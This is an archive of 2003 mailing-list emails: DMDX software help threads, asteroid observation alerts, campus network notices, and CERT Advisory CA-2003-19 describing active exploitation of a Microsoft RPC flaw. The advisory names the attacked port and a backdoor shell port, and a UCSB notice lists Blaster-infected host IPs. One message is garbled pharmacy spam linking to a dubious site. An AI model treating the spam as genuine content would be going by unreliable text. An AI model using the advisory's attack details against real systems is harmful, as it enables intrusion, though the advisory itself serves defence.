http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. Getting security information CERT publications and other security information are available from our web site http://www.cert.org/ To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message subscribe cert-advisory * ""CERT"" and ""CERT Coordination Center"" are registered in the U.S. Patent and Trademark Office. ______________________________________________________________________ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an ""as is"" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. ______________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright 2003 Carnegie Mellon University. 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Is there any special kind of cable/wire to use for connecting the headset and gamepad to the computer in the other room? prefered brand or required specifics? any information will be appreciated. +++++++++++++++++++++++++++ Nan Jiang, Ph.D. Assistant Professor Department of Applied Linguistics Georgia State University njiang@gsu.edu http://www.gsu.edu/~eslnxj 404-651-2936 +++++++++++++++++++++++++++ ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 28 Jul 2003 13:40:41 -0700",[DMDX] Re: usb or gameport special cable/wire,"At 03:00 PM 7/28/2003 -0400, you wrote: >Hi, > I want to put the computers in the waiting room, and monitors, > headsets and gamepads in the testing room. I have to use a few meters of > cables to connect them. Is there any special kind of cable/wire to use > for connecting the headset and gamepad to the computer in the other room? > prefered brand or required specifics? any information will be appreciated. Monitor cables will need to be special ones, anything else can be whatever fits. Computer stores tend to sell monitor extension cables, they'll also likely have gamepad and headset extension cables too. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Maybe this world is another planet's Hell."" - Aldous Huxley (1894-1963) ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 29 Jul 2003 15:45:02 -0700",[DMDX] DMDX 3.0.2.1,"DMDX 3.0.2.1 contains a small fix to the macro definition code so that if someone say uses as a switch instead of a keyword, ms%2000 instead of , DMDX's macro definition code throws an error that leads more light on the issue that it would in the past. Actually fixed a typo that's been in there for about a decade -- perhaps longer. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Maybe this world is another planet's Hell."" - Aldous Huxley (1894-1963)",0,0 CERT Advisory ,cert-advisory@cert.org,"Thu, 31 Jul 2003 17:00:16 -0400",CERT Advisory CA-2003-19 Exploitation of Vulnerabilities in Microsoft RPC Interface ," -----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2003-19 Exploitation of Vulnerabilities in Microsoft RPC Interface Original issue date: July 31, 2003 Last revised: - Source: CERT/CC A complete revision history is at the end of this file. Systems Affected * Microsoft Windows NT 4.0 * Microsoft Windows NT 4.0 Terminal Services Edition * Microsoft Windows 2000 * Microsoft Windows XP * Microsoft Windows Server 2003 Overview The CERT/CC is receiving reports of widespread scanning and exploitation of two recently discovered vulnerabilities in Microsoft Remote Procedure Call (RPC) Interface. I. Description Reports to the CERT/CC indicate that intruders are actively scanning for and exploiting a vulnerability in Microsoft's DCOM RPC interface as described in VU#568148 and CA-2003-16. Multiple exploits for this vulnerability have been publicly released, and there is active development of improved and automated exploit tools for this vulnerability. Known exploits target TCP port 135 and create a privileged backdoor command shell on successfully compromised hosts. Some versions of the exploit use TCP port 4444 for the backdoor, and other versions use a TCP port number specified by the intruder at run-time. We have also received reports of scanning activity for common backdoor ports such as 4444/TCP. In some cases, due to the RPC service terminating, a compromised system may reboot after the backdoor is accessed by an intruder. There appears to be a separate denial-of-service vulnerability in Microsoft's RPC interface that is also being targeted. Based on current information, we believe this vulnerability is separate and independent from the RPC vulnerability addressed in MS03-026. The CERT/CC is tracking this additional vulnerability as VU#326746 and is continuing to work to understand the issue and mitigation strategies. Exploit code for this vulnerability has been publicly released and also targets TCP port 135. In both of the attacks described above, a TCP session to port 135 is used to execute the attack. However, access to TCP ports 139 and 445 may also provide attack vectors and should be considered when applying mitigation strategies. II. Impact A remote attacker could exploit these vulnerabilities to execute arbitrary code with Local System privileges or to cause a denial of service condition. III. Solutions Apply patches All users are encouraged to apply the patches referred to in Microsoft Security Bulletin MS03-026 as soon as possible in order to mitigate the vulnerability described in VU#568148. These patches are also available via Microsoft's Windows Update service. Systems running Windows 2000 may still be vulnerable to at least a denial of service attack via VU#326746 if their DCOM RPC service is available via the network. Therefore, sites are encouraged to use the packet filtering tips below in addition to applying the patches supplied in MS03-026. Filter network traffic Sites are encouraged to block network access to the RPC service at network borders. This can minimize the potential of denial-of-service attacks originating from outside the perimeter. The specific services that should be blocked include * 135/TCP * 135/UDP * 139/TCP * 139/UDP * 445/TCP * 445/UDP If access cannot be blocked for all external hosts, the CERT/CC recommends limiting access to only those hosts that require it for normal operation. As a general rule, the CERT/CC recommends filtering all types of network traffic that are not required for normal operation. Because current exploits for VU#568148 create a backdoor, which is in some cases 4444/TCP, blocking inbound TCP sessions to ports on which no legitimate services are provided may limit intruder access to compromised hosts. Recovering from a system compromise If you believe a system under your administrative control has been compromised, please follow the steps outlined in Steps for Recovering from a UNIX or NT System Compromise Reporting The CERT/CC is tracking activity related to exploitation of the first vulnerability (VU#568148) as CERT#27479 and the second vulnerability (VU#326746) as CERT#24523. Relevant artifacts or activity can be sent to cert@cert.org with the appropriate CERT# in the subject line. Appendix A. Vendor Information This appendix contains information provided by vendors. When vendors report new information, this section is updated and the changes are noted in the revision history. If a vendor is not listed below, we have not received their comments. Microsoft Please see Microsoft Security Bulletin MS03-026. Appendix B. References * CERT/CC Vulnerability Note VU#561284 - http://www.kb.cert.org/vuls/id/561284 * CERT/CC Vulnerability Note VU#326746 - http://www.kb.cert.org/vuls/id/326746 * Microsoft Security Bulletin MS03-026 - http://microsoft.com/technet/security/bulletin/MS03-026.asp * Microsoft Knowledge Base article 823980 - http://support.microsoft.com?kbid=823980 ______________________________________________________________________ Authors: Chad Dougherty and Kevin Houle ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2003-19.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. Getting security information CERT publications and other security information are available from our web site http://www.cert.org/ To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message subscribe cert-advisory * ""CERT"" and ""CERT Coordination Center"" are registered in the U.S. Patent and Trademark Office. ______________________________________________________________________ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an ""as is"" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. ______________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright 2003 Carnegie Mellon University. Revision History July 31, 2003: Initial release -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBPyl3xGjtSoHZUTs5AQE8gAQAqCNAwHihfJzIH8DJDaWxGqacDZYAzGjh 30rPq9AM1/0KkvsdfHb6MC/b+ktCZBrMvXew1e+WGOoE0McZ+IuB9t2DIGsFCBuo ltqDw8v08FLM+7zsAM0DooEZLdNpkqdiKhKvooyJ6LGrj5Nb5inW5joITSBn9MMY YSIQfaGqABU= =m+s3 -----END PGP SIGNATURE----- ",0,1 Archie Hepfer ,DMDX@psy1.psych.arizona.edu,"Mon, 04 Aug 2003 15:12:44 -0700",Re: VtAGlRA news,"Hi, P V X L C A V r A a e I m I o L n v A b A z I a i L i G a U x t I e R c M ra S n A http://www.tevoncoast.com chief was also in prison close at hand, and that no one was to reveal their errand to the long, not yet, not before Thorin gave the word. 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Thanks in advance for any help, Rua HM.",0,0 laurie cestnick ,DMDX@psy1.psych.arizona.edu,"Tue, 05 Aug 2003 18:52:23 -0400",[DMDX] Error Msg,"I get the error message ""Frame has multiple text segments, possible missing frame delimeter"" when I attempt to run the attached rtf file (images for this file attached as well). Any ideas what is creating this error msg exactly? Any help appreciated. Cheers, Laurie __________________________________________ Laura L. Cestnick, Ph.D. Postdoctoral Research Fellow Linquistics MIT & MGH-NMR Harvard Med www.nmr.mgh.harvard.edu/~laurie 77 Massachusetts Avenue Building E39, Room 324 Cambridge, Massachusetts 02139-4307 Office Phone: 617-253-2618 ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 05 Aug 2003 19:17:07 -0700",[DMDX] Re: feedback duration contingent on subject,"Sorry for the re-post but those attachments knocked something out of kilter and these messages got lost so I gotta send 'em again. At 10:22 AM 8/6/2003 +1000, you wrote: >Hi all, > >Is there a way to set up DMDX feedback such that the feedback message stays >displayed until the user hits the 'continue' key to start the next trial? No, not unless you build your own custom feedback routine. To do so see the Branching or Set Counter docs. >I tried looking at but this doesn't do it - either the >feedback stays on screen after user hits space (if user hits space in >feedback duration), or the message disappears (& the user wonders why the >next item doesn't start). > >I'd also like to have this behaviour for the ""no response"" (within response >window) feedback if possible. Anything's possible with custom feedback. Well, almost anything anyway. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Barometer, n.: An ingenious instrument which indicates what kind of weather we are having. - Ambrose Bierce, ""The Devil's Dictionary""",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 05 Aug 2003 19:17:13 -0700",[DMDX] Re: Error Msg,"At 06:52 PM 8/5/2003 -0400, you wrote: >I get the error message ""Frame has multiple text segments, possible >missing frame delimeter"" when I attempt to run the attached rtf file >(images for this file attached as well). >Any ideas what is creating this error msg exactly? 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Alerts 298 to 302 should be in good order here for posting. Thanks Lawrence Garrett ***************************************************************************************** MAP Alert #302, July 31, 2003 Greetings MAP Observers: A report from Ben Hudgens (July 30) highlights this brief Stellafane Eve MAP Alert. Using a 10"" telescope, Ben has missed the following predicted bright objects, 1997 EM2 2003-7-30.215 13.1 ???? not seen visual 2000 YF99 2003-7-30.173 12.6 ???? not seen visual Being unnumbered objects, with desirable observations between 2003 Aug. 22-Sept. 21 stated at the MPC, these predicted magnitudes are mostly far off the posted values. I plan to keep watch for more new observations from the MPC, perhaps corrections will be posted in the upcoming weeks ahead. Thanks Ben for your observations! Please note update on my second e-mail box below,thanks. The following information was posted at a later date, but best remains with Alert #302 Additional MAP Observations/August 3,2003 Greetings MAP Observers! The report below by Gerard Faure is finally posted for the group review. I had asked Gerard to post this Friday, as I was headed to my Vermont starparty, Stellafane. But Gerard was also headed out again on his long vacation, so I now post his June 29-30, July 05-06 and July 18-19 report. I have not posted this data, because Gerard sent it to my Yahoo address, where it remained unseen with 100's of other messages from my un-cleaned ancient coins group. I have no time for this other project now, and no longer read this groups mail. This second address should only should my Earthlink.net address RETURNS mail. I know my old globalnet address returned mail quite often, but this seems corrected with Earthlink.net. I hope his vacation is better then this years Stellafane. It rained the full 18 hours I was there, and I left after the first sleepless wet night. Never to talk to another astronomer, or see a telescope, a complete washout. :-( Despite few clear nights, Gerard observed 3 times since the end of June, during the nights of June 29-30, July 05-06 and July 18-19. His report follows. 6 asteroids have been observed : 1101 Clematis mag v15.0 predicted 1166 Sakuntala mag v11.7-11.8 F/1.1 and F/1.2 !! (Call for observations) 1385 Gelria mag v15.3-15.3 B/0.3 and B/0.3 (Call for observations) 1403 Iseldonia mag v13.8 F/0.4 (Call for observations) 2064 Thomsen mag v13.8 predicted 3767 DiMaggio mag v15.2-15.3 predicted 1166 Sakuntala was observed again fainter than predicted ( one magnitude and more ), for the fifth opposition followed since 1998 ! I had the luck to compare Sakuntala with 2 Tycho stars with accurate V magnitudes ! It's rare ! Let's try to follow and to compare Sakuntala and also 779 Nina, a possible old MAP Suspect, with accurate Tycho stars. 1385 Gelria has been also observed by Bernard CHRISTOPHE, apparently at the predicted magnitude, during the nights of July 06-07 and July 12-13. On the contrary, I observed two times the asteroid brighter than predicted. The second time, its magnitude v15.3 was similar to the predicted magnitude of 3767 DiMaggio and the asteroid was too low to be observed at the predicted mag v15.6. The areas of Bernard observations perhaps were populated by inaccurate USNO stars ? 1403 Iseldonia is an old MAP object again observed fainter than predicted. René ROY imaged many times 1384 Kniertje during 4 nights from June 25 to July 17 July and its 102 CCD measures confirm the great faintness of the magnitude of this asteroid observed for the third opposition since 1998. The poor accuracy of the reference USNO stars was a problem to obtain precise differences of magnitude for the asteroids, but the differences are about at least 1.5 magnitude. Lastly, the MAP Observation program for July-August 2003 and the Photometric Database of lightcurves or MAP Data for 1910 asteroids on July 22 will be put in some days on the AUDE Website, at the MAP Page. This photometric Database certainly is the most complete list of lightcurves in the world. Once the moon leaves the sky, try to pull yourself from Mars for a little time and attend our call for observations objects. Also try to attend the unseen objects reported by Ben Hudgens. Clear Skies! Lawrence Garrett ALPO Minor Planet Section Assistant Coordinator LSGasteroid@msn.com or atticaowl@yahoo.com _To be used only if mail is returned from the above address_. AUDE WebPages Gerard Faure (8297 gerardfaure) http://www.ccdaude.com UAI Minor Planet Section- Near Earth Asteroids Sergio Foglia (13147 Foglia) http://www.uai.it/sez_ast/english/ SpaceGuard India Vishnu Reddy http://www.spaceguardindia.com/index.html ********************************************************* MAP Alert #301, July 23, 2003 Greetings MAP Observers! A report from Brian Warner highlights this brief MAP alert. Brian reports: I'm observing the Mars crosser 34817 2001 SE116 this evening using a ST-9E CCD. Magnitudes are based on an adjusted V based on the R and B of the USNO, using the approximation formula V = R + ((B - R) * 0.375) The asteroid is running about 0.3m _ABOVE_ prediction. This is based on the average magnitude for the run. The amplitude of the lightcurve is approximately 0.8m The period is about 6.4h Observers would be best to contact Brian and work with him and the CALL observers, as this is a complex issue. Perhaps you might pool your observations and include suspected H value errors in any paper published in the Minor Planet Bulletin. brian@MinorPlanetObserver.com Good luck on this object, and Mars of course! Hoping for some good views of Mars in large telescopes at Stellafane August 1-2. Clear Skies! Lawrence Garrett ALPO Minor Planet Section Assistant Coordinator LSGasteroid@msn.com or atticaowl@yahoo.com AUDE WebPages Gerard Faure (8297 gerardfaure) http://www.ccdaude.com UAI Minor Planet Section- Near Earth Asteroids Sergio Foglia (13147 Foglia) http://www.uai.it/sez_ast/english/ SpaceGuard India Vishnu Reddy http://www.spaceguardindia.com/index.html *********************************************************** MAP Alert #300, July 1, 2003 Greetings MAP Observers! We start the second half of 2003 with additional observations of 921 Jovita, and a new MAP object, 1385 Gelria. Please note I will be off-line till July 5, away on a New York City Vacation. MAP Alerts have reached the third century mark with the 300th alert, but as in 2001, we must still wait for the next to be truly correct :-). 11 new measures UMr from Bernard Christophe for 921 Jovita. Christophe confirms the actual discrepancy of about 0.7 Magnitude !! Very Good coverage of this object!!!!! 921 Jovita ---------- Date Mag:Obs. #.Mu Pred. # O-P Observer Avr/Moy 1998-10-03.10392 SMr 13,9 0,4 15,5 -1,2B Dennis CHESNEY -1,30 1998-10-03.13022 SMr 13,7 0,4 15,5 -1,4B Dennis CHESNEY 1998-10-24.01311 AMv 14,4 15,9 -1,5B Lawrence GARRETT -1,50 1998-10-24.12501 AMv 14,4 15,9 -1,5B Lawrence GARRETT 2000-12-27.01944 AMv 15,6 16,1 -0,5B Gérard FAURE -0,87 2000-12-27.04097 AMv 15,3 16,1 -0,8B Gérard FAURE 2000-12-27.05486 AMv 14,8 16,1 -1,3B Gérard FAURE 2001-02-19.87986 UMu 16,1 16,8 -0,7B Jean-Gabriel BOSCH-0,70 2001-02-19.88854 UMu 16,1 16,8 -0,7B Jean-Gabriel BOSCH 2003-05-29.99166 AMv 14,0 14,7 -0,7B Gérard FAURE -0,63 2003-05-30.03402 AMv 14,0 14,7 -0,7B Gérard FAURE 2003-05-30.05763 AMv 14,2 14,7 -0,5B Gérard FAURE 2003-05-30.99305 AMv 14,1 14,7 -0,6B Gérard FAURE -0,55 2003-05-31.03611 AMv 14,2 14,7 -0,5B Gérard FAURE 2003-06-07.17362 AMv 14,1 14,8 -0,7B Lawrence GARRETT -0,70 2003-06-23.90021 UMr 14,0 0,4 15,1 -0,7B Bernard CHRISTOPHE-0,70 2003-06-23.90180 UMr 14,0 0,4 15,1 -0,7B Bernard CHRISTOPHE 2003-06-23.90340 UMr 14,0 0,4 15,1 -0,7B Bernard CHRISTOPHE 2003-06-23.90499 UMr 14,0 0,4 15,1 -0,7B Bernard CHRISTOPHE 2003-06-23.90658 UMr 14,0 0,4 15,1 -0,7B Bernard CHRISTOPHE 2003-06-23.90817 UMr 14,0 0,4 15,1 -0,7B Bernard CHRISTOPHE 2003-06-23.90976 UMr 14,0 0,4 15,1 -0,7B Bernard CHRISTOPHE 2003-06-23.91135 UMr 14,0 0,4 15,1 -0,7B Bernard CHRISTOPHE 2003-06-23.91294 UMr 14,0 0,4 15,1 -0,7B Bernard CHRISTOPHE 2003-06-23.91453 UMr 14,0 0,4 15,1 -0,7B Bernard CHRISTOPHE H = 10.03 (EMP 1988 => 1991); H= 10.6 (EMP1992 => 2003) Diff/ H = -0,87 B Rotation Period. ? h ampl.= ? mag. ampl.MAP=0.8 mag Gerard reports I observed during the SHORT night of June 21-22 : 1385 Gelria v14.8 B/0.4 +/-0.1 1432 Ethiopia v14.2+v14.0 F/0.3 and 0.1 1594 Danjon v13.7 4853 Marielukac v15.6 If 1432 Ethiopia seems to be limit for the MAP, 1385 Gelria was two times more brighter than predicted. It's a new MAP Object !! Call for observations 1385 Gelria ----------- 2003-06-21.94027 AMv 14.8 15.2 -0.4B +/-0.1 Gérard FAURE Clear Skies! Lawrence Garrett ALPO Minor Planet Section Assistant Coordinator LSGasteroid@msn.com or atticaowl@yahoo.com AUDE WebPages Gerard Faure (8297 gerardfaure) http://www.ccdaude.com UAI Minor Planet Section- Near Earth Asteroids Sergio Foglia (13147 Foglia) http://www.uai.it/sez_ast/english/ SpaceGuard India Vishnu Reddy http://www.spaceguardindia.com/index.html *********************************************************** MAP Alert #299, June 13, 2003 Greetings MAP Observers: Gerard's full update with MAP object 921 Jovita, and my own added observation highlight this brief full moon eve edition of the MAP alerts. After returning from a public observing night starparty with the Vermont astronomical society, I spotted 921 Jovita from home with my 12.5"" telescope. While low clouds kept me from using the suggested comparison asteroids, I did find this 921 Jovita quite a bit brighter then predicted using 360 Carlova, predicted Mv 14.1. After the moon is gone, more observations will again be needed, to add to our growing database with this object. 921 Jovita ---------- Date Mag:Obs. #.Mu Pred. # O-P Observer Avr/Moy 1998-10-03.10392 SMr 13,9 0,40 15,5 -1,2B Dennis CHESNEY -1,30 1998-10-03.13022 SMr 13,7 0,40 15,5 -1,4B Dennis CHESNEY 1998-10-24.01311 AMv 14,4 15,9 -1,5B Lawrence GARRETT -1,50 1998-10-24.12501 AMv 14,4 15,9 -1,5B Lawrence GARRETT 2000-12-27.01944 AMv 15,6 16,1 -0,5B Gérard FAURE -0,87 2000-12-27.04097 AMv 15,3 16,1 -0,8B Gérard FAURE 2000-12-27.05486 AMv 14,8 16,1 -1,3B Gérard FAURE 2001-02-19.87986 UMu 16,1 16,8 -0,7B Jean-Gabriel BOSCH-0,70 2001-02-19.88854 UMu 16,1 16,8 -0,7B Jean-Gabriel BOSCH 2003-05-29.99166 AMv 14,0 14,7 -0,7B Gérard FAURE -0,63 2003-05-30.03402 AMv 14,0 14,7 -0,7B Gérard FAURE 2003-05-30.05763 AMv 14,2 14,7 -0,5B Gérard FAURE 2003-05-30.99305 AMv 14,1 14,7 -0,6B Gérard FAURE -0,55 2003-05-31.03611 AMv 14,2 14,7 -0,5B Gérard FAURE 2003-06-07.17362 AMv 14,1 14,8 -0,7B Lawrence GARRETT -0,70 H = 10.03 (EMP 1988 => 1991); H= 10.6 (EMP1992 => 2003) Diff/ H = -0,89 B Rotation Period. ? h ampl.= ? mag. ampl.MAP=0.9 mag Lets hope for more clear skies, and MAP observations! Clear Skies! Lawrence Garrett ALPO Minor Planet Section Assistant Coordinator LSGasteroid@msn.com or atticaowl@yahoo.com AUDE WebPages Gerard Faure (8297 gerardfaure) http://www.ccdaude.com UAI Minor Planet Section- Near Earth Asteroids Sergio Foglia (13147 Foglia) http://www.uai.it/sez_ast/english/ SpaceGuard India Vishnu Reddy http://www.spaceguardindia.com/index.html *********************************************************** MAP Alert #298, June 4, 2003 Greetings MAP Observers! Gerard keeps the MAP alerts busy again, with his good report, including another suspected new MAP object. His report of two nights follows, with his comments on selected minor planets. Objects he used for comparison objects are also included, observers are urged to use them as well in their own observations. Call for observations for 9219 1995 W08 and 921 Jovita before the moon become too bright by the weekend. Night of May 29-30,2003: ------------------------ 921 Jovita mag v14.0-14.0-14.2 B/0.7 and B/0.6 2741 Valdivia mag v14.5 1396 Outeniqua mag v14.7 890 Waltraut mag v14.7 B/0.2 3738 Ots mag v14.8 1903 Adzhimushkaj mag v15.4 9219 1995 W08 mag v15.7-15.8 F/0.3 and F/0.4 Night of May 30-31,2003: ------------------------ 921 Jovita mag v14.1-14.2 B/0.6 and B/0.5 1232 Cartusa mag v14.3 1396 Outeniqua mag v14.5 2094 Magnitka mag v14.6-14.7 B/0.2 and B/0.1 1699 Honkasalo mag v14.6-14.7 B/0.3 and B/0.2 1625 The NORC mag v15.0 1132 Hollandia mag v15.3 921 Jovita is confirmed brighter than predicted but less than in the previous years and without a quick variability during these last two nights. 9219 1995 WO8 is A NEW MAP OBJECT fainter than predicted, at least of 0.3 mag. 1699 Honkasalo is an object limit for the MAP, perhaps under the 0.3 mag mark ! 1625 The NORC has been seen again, but it is now too low to follow it during even one hour. The mystery of its invisibility is entire.... Object too limit or near stars, or really highly variable ??? Clear Skies! Lawrence Garrett ALPO Minor Planet Section Assistant Coordinator LSGasteroid@msn.com or atticaowl@yahoo.com AUDE WebPages Gerard Faure (8297 gerardfaure) http://www.ccdaude.com UAI Minor Planet Section- Near Earth Asteroids Sergio Foglia (13147 Foglia) http://www.uai.it/sez_ast/english/ SpaceGuard India Vishnu Reddy http://www.spaceguardindia.com/index.html ********************************************************* ",0,1 Joseph Lorenzo Hall ,Kelley McDonald ,"Mon, 11 Aug 2003 09:26:45 -0700",Re: all laptops using DHCP services,"If people have Macs with wireless access, they can get connectivity in the Engineering library or the Second floor of Evans... to use the AirBears service all they have to do is be able to detect the network, open a web browser window and enter their CalNet ID and passphrase... not as quick as local DHCP but sufficient. Joe On Mon, 11 Aug 2003, Kelley McDonald wrote: > Date: Mon, 11 Aug 2003 08:53:20 -0700 (PDT) > From: Kelley McDonald > To: allusers@astron.Berkeley.EDU > Subject: all laptops using DHCP services > > the firewall/dhcp server is offline and will be offline > for the near term. If you need to use your laptop, you > will either > > 1) have to have had a fix IP address assigned to it > (if you didn't have a line installed in your office, you > probably don't have one) > > or > > 2) use the connection in 533 (a.k.a. bootes) > > I am not entirely sure when the firewall will be > active again, it was one of the sources of the > attacks over the weekend (and likely needs to be > rebuilt from scratch). > > Kelley > ------------------------------------------------------ > Kelley McDonald Sr. Systems Administrator > Astronomy Department kelley@astro.berkeley.edu > ------------------------------------------------------ > > ----------------------------------------------------------------- Joseph Lorenzo Hall Graduate Student http://pobox.com/~joehall Cyberspace cares more about the Star Wars Kid than the Public Domain. http://www.petitiononline.com/mod_perl/signed.cgi?Ghyslain http://www.petitiononline.com/mod_perl/signed.cgi?eldred",0,1 Nan Jiang ,DMDX@psy1.psych.arizona.edu,"Mon, 11 Aug 2003 15:23:35 -0400",[DMDX] Re: Using a Gamepad in DMDX,"Hi There, I have been trying to get a gamepad (Microsoft Sidewinder) to work with DMDX or vice versa. Here is what happened: a. went to TimeDX, saw the device there as ""Microsoft SideWinder Game Pad USB"" listed after Mouse and Keyboard, as it was already highlighted, clicked on test, it read ""Device is pooled (0.019 ms) time base 1 ms"" and the nine buttons were also shown in the textbox below. b. wrote a test item file that included the command ... on the parameter line, c. when I ran the test file, I received a message saying Input Devide selection failed. d. I also tried different names including which is the name of the hardware for the game pad when I check the computer's hardware, I kept receiving the same message. What did I do wrong or miss? Any help will be appreciated. Nan Jiang +++++++++++++++++++++++++++ Nan Jiang, Ph.D. Assistant Professor Department of Applied Linguistics Georgia State University njiang@gsu.edu http://www.gsu.edu/~eslnxj 404-651-2936 +++++++++++++++++++++++++++",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 11 Aug 2003 13:12:14 -0700",[DMDX] Re: Using a Gamepad in DMDX,"At 03:23 PM 8/11/2003 -0400, you wrote: >Hi There, > I have been trying to get a gamepad (Microsoft Sidewinder) to work with > DMDX or vice versa. Here is what happened: >a. went to TimeDX, saw the device there as ""Microsoft SideWinder Game Pad >USB"" listed after Mouse and Keyboard, as it was already highlighted, >clicked on test, it read ""Device is pooled (0.019 ms) time base 1 ms"" and >the nine buttons were also shown in the textbox below. >b. wrote a test item file that included the command SideWinder Game Pad USB""> ... on the parameter line, >c. when I ran the test file, I received a message saying >Input Devide selection failed. >d. I also tried different names including >which is the name of the hardware for the game pad when I check the >computer's hardware, I kept receiving the same message. Without having a device here I can't say. I can use the ""logitech cordless USB mouse"" here so I don't think it's anything to do with USB or long device names. My guess is that you'll have to carefully check that the name you provide in the input file is exactly the name TimeDX provides, like perhaps it's GamePad and not Game Pad, perhaps you've got two spaces instead of one some place. Case doesn't matter. Perhaps that opening fancy quote is screwing things up, you can always look at rtfparsed.txt to get an idea, the quotes should be gone there. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Did you know that if you took all the economists in the world and lined them up end to end, they'd still point in the wrong direction?",0,0 Katia Duscherer ,DMDX@psy1.psych.arizona.edu,"Tue, 12 Aug 2003 01:08:59 +0200",[DMDX] Re: Using a Gamepad in DMDX,"I know that when using my game pad i have to provide as the exact name with parenthesis and trademark included... be perhaps careful that you *see* the whole name when using Time DX. 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Todd Atkins To: security-announce@ucsb.edu Message-ID: <188650000.1060644505@abc.oit.ucsb.edu> X-Mailer: Mulberry/3.0.3 (Linux/x86) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline cc: csf@ucsb.edu Subject: [CSF] W32/Blaster Infected Hosts Being Null-Routed X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.1 Precedence: list Reply-To: UCSB Network Security Coordinator List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Scanner: exiscan for exim4 (http://duncanthrax.net/exiscan/) *19mM5W-000MzN-0Z*m.2IzBFn1DE* Good Afternoon, Due to the large number of hosts that are infected with the W32/Blaster worm, I am sending out this bulk announcement about hosts whose traffic is being blocked with a null route in order to suppress our involvement in the spreading of this worm. Here is what you need to do if your host is in the list: 1. Perform a complete reinstallation and patching of the system. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. When referring to multiple IP addresses, please list the IP addresses on separate lines. Here is the list of infected hosts: 128.111.62.229 128.111.62.234 128.111.62.239 128.111.68.35 128.111.69.48 128.111.77.83 128.111.83.202 128.111.83.55 128.111.94.30 128.111.104.81 128.111.106.197 128.111.108.193 128.111.112.12 128.111.112.39 128.111.112.41 128.111.112.79 128.111.112.87 128.111.113.121 128.111.113.145 128.111.113.147 128.111.113.152 128.111.113.16 128.111.113.200 128.111.113.21 128.111.113.218 128.111.113.222 128.111.113.24 128.111.113.40 128.111.113.63 128.111.113.72 128.111.113.92 128.111.122.18 128.111.130.27 128.111.130.28 128.111.133.114 128.111.138.169 128.111.162.4 128.111.164.52 128.111.164.81 128.111.165.63 128.111.165.88 128.111.185.106 128.111.185.19 128.111.185.205 128.111.185.244 128.111.199.50 128.111.205.148 128.111.205.16 128.111.208.178 128.111.208.68 128.111.209.116 128.111.209.140 128.111.209.89 128.111.209.92 128.111.220.143 128.111.220.162 128.111.220.57 128.111.220.90 128.111.223.26 128.111.226.213 128.111.226.98 128.111.227.150 128.111.227.22 128.111.227.90 128.111.229.251 128.111.241.70 128.111.241.74 Also, results of the Symantec analysis are being made available to the public at the following location: https://tms.symantec.com/members/AnalystReports/030811-Alert-DCOMworm.pdf It is expected that this report will be updated frequently as more information is discovered. Readers are advised to download/refresh it throughout the day to ensure that any new information is not missed. Thank you and good luck, Todd Atkins Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 Henry Roe ,linuxusers@astron.Berkeley.EDU,"Mon, 11 Aug 2003 17:00:26 -0700",linux backup solutions? ," So, I've web searched and found a variety of options, but I'm curious if anyone here has advice on a backup solution for linux? (I have been doing rather haphazard writes of DVD+RW's of various directories when I think of it and want to get something more systematic going.) The system has several large (2x 70gig, 1x 15gig) hard drives and the backup media will be DVD+R (or DVD+RW), which are 4.7gig. The system is running RH8. The ideal backup system would let me do a global backup and then allow incremental backups each night (i.e. pop a blank dvd in the drive as I leave). Anyone have any good ideas? thanks! -Henry ",0,0 James Colby Kraybill ,Henry Roe ,"Mon, 11 Aug 2003 17:06:15 -0700",Re: linux backup solutions? ," I've been using a combination of rsync and dvd+rw backup for linux and 